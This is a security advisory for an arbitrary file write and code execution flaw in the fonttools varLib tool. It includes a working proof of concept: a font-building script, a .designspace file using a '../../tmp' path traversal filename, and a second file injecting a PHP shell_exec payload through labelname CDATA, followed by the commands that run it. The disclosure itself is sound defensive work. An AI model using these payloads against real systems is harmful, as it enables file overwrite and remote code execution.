| Package | Affected versions | Patched versions |
|---|---|---|
| fonttools | ≥ 4.33.0, < 4.60.2 | 4.60.2 |
| fonttools | ≥ 4.33.0, < 4.60.2 | 4.60.2 |
The fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main().
The vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting /etc/passwd).
Overall this allows attackers to:
The attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means.
fontTools/varLib/__init__.py
filename = vf.filename # Unsanitised filename
output_path = os.path.join(output_dir, filename) # Path traversal
vf.save(output_path) # Arbitrary file write
malicious.designspace and respective source-*.ttf files in a directory like /Users/<username>/testing/demo/ (will impact relative file location within malicious.designspace)setup.py
#!/usr/bin/env python3
import os
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
def create_source_font(filename, weight=400):
fb = FontBuilder(unitsPerEm=1000, isTTF=True)
fb.setupGlyphOrder([".notdef"])
fb.setupCharacterMap({})
pen = TTGlyphPen(None)
pen.moveTo((0, 0))
pen.lineTo((500, 0))
pen.lineTo((500, 500))
pen.lineTo((0, 500))
pen.closePath()
fb.setupGlyf({".notdef": pen.glyph()})
fb.setupHorizontalMetrics({".notdef": (500, 0)})
fb.setupHorizontalHeader(ascent=800, descent=-200)
fb.setupOS2(usWeightClass=weight)
fb.setupPost()
fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
fb.save(filename)
if __name__ == '__main__':
os.chdir(os.path.dirname(os.path.abspath(__file__)))
create_source_font("source-light.ttf", weight=100)
create_source_font("source-regular.ttf", weight=400)
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Scan my site freemalicious.designspace
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
</axes>
<sources>
<source filename="source-light.ttf" name="Light">
<location>
<dimension name="Weight" xvalue="100"/>
</location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location>
<dimension name="Weight" xvalue="400"/>
</location>
</source>
</sources>
<!-- Filename can be arbitrarily set to any path on the filesystem -->
<variable-fonts>
<variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
</designspace>
Optional: You can put a file with any material within ../../tmp/newarbitraryfile.json in advance, the contents in the file will be overwritten after running the setup script in the following step.
source-*.tff files required for the malicious.designspace file.python3 setup.py
fonttools varLib malicious.designspace
cat {{filename_location}}
malicious2.designspace
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<!-- XML injection occurs in labelname elements with CDATA sections -->
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
<labelname xml:lang="en"><![CDATA[<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]]]><![CDATA[>]]></labelname>
<labelname xml:lang="fr">MEOW2</labelname>
</axis>
</axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
<sources>
<source filename="source-light.ttf" name="Light">
<location>
<dimension name="Weight" xvalue="100"/>
</location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location>
<dimension name="Weight" xvalue="400"/>
</location>
</source>
</sources>
<variable-fonts>
<variable-font name="MyFont" filename="output.ttf">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
<instances>
<instance name="Display Thin" familyname="MyFont" stylename="Thin">
<location><dimension name="Weight" xvalue="100"/></location>
<labelname xml:lang="en">Display Thin</labelname>
</instance>
</instances>
</designspace>
fonttools varLib malicious2.designspace -o file123
Here being outputted to a localised area ignoring filename presented in variable-font
cat file123
to show <?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]>
php file123
ls -la /tmp/MEOW123
we can see that the file was just created showing RCE.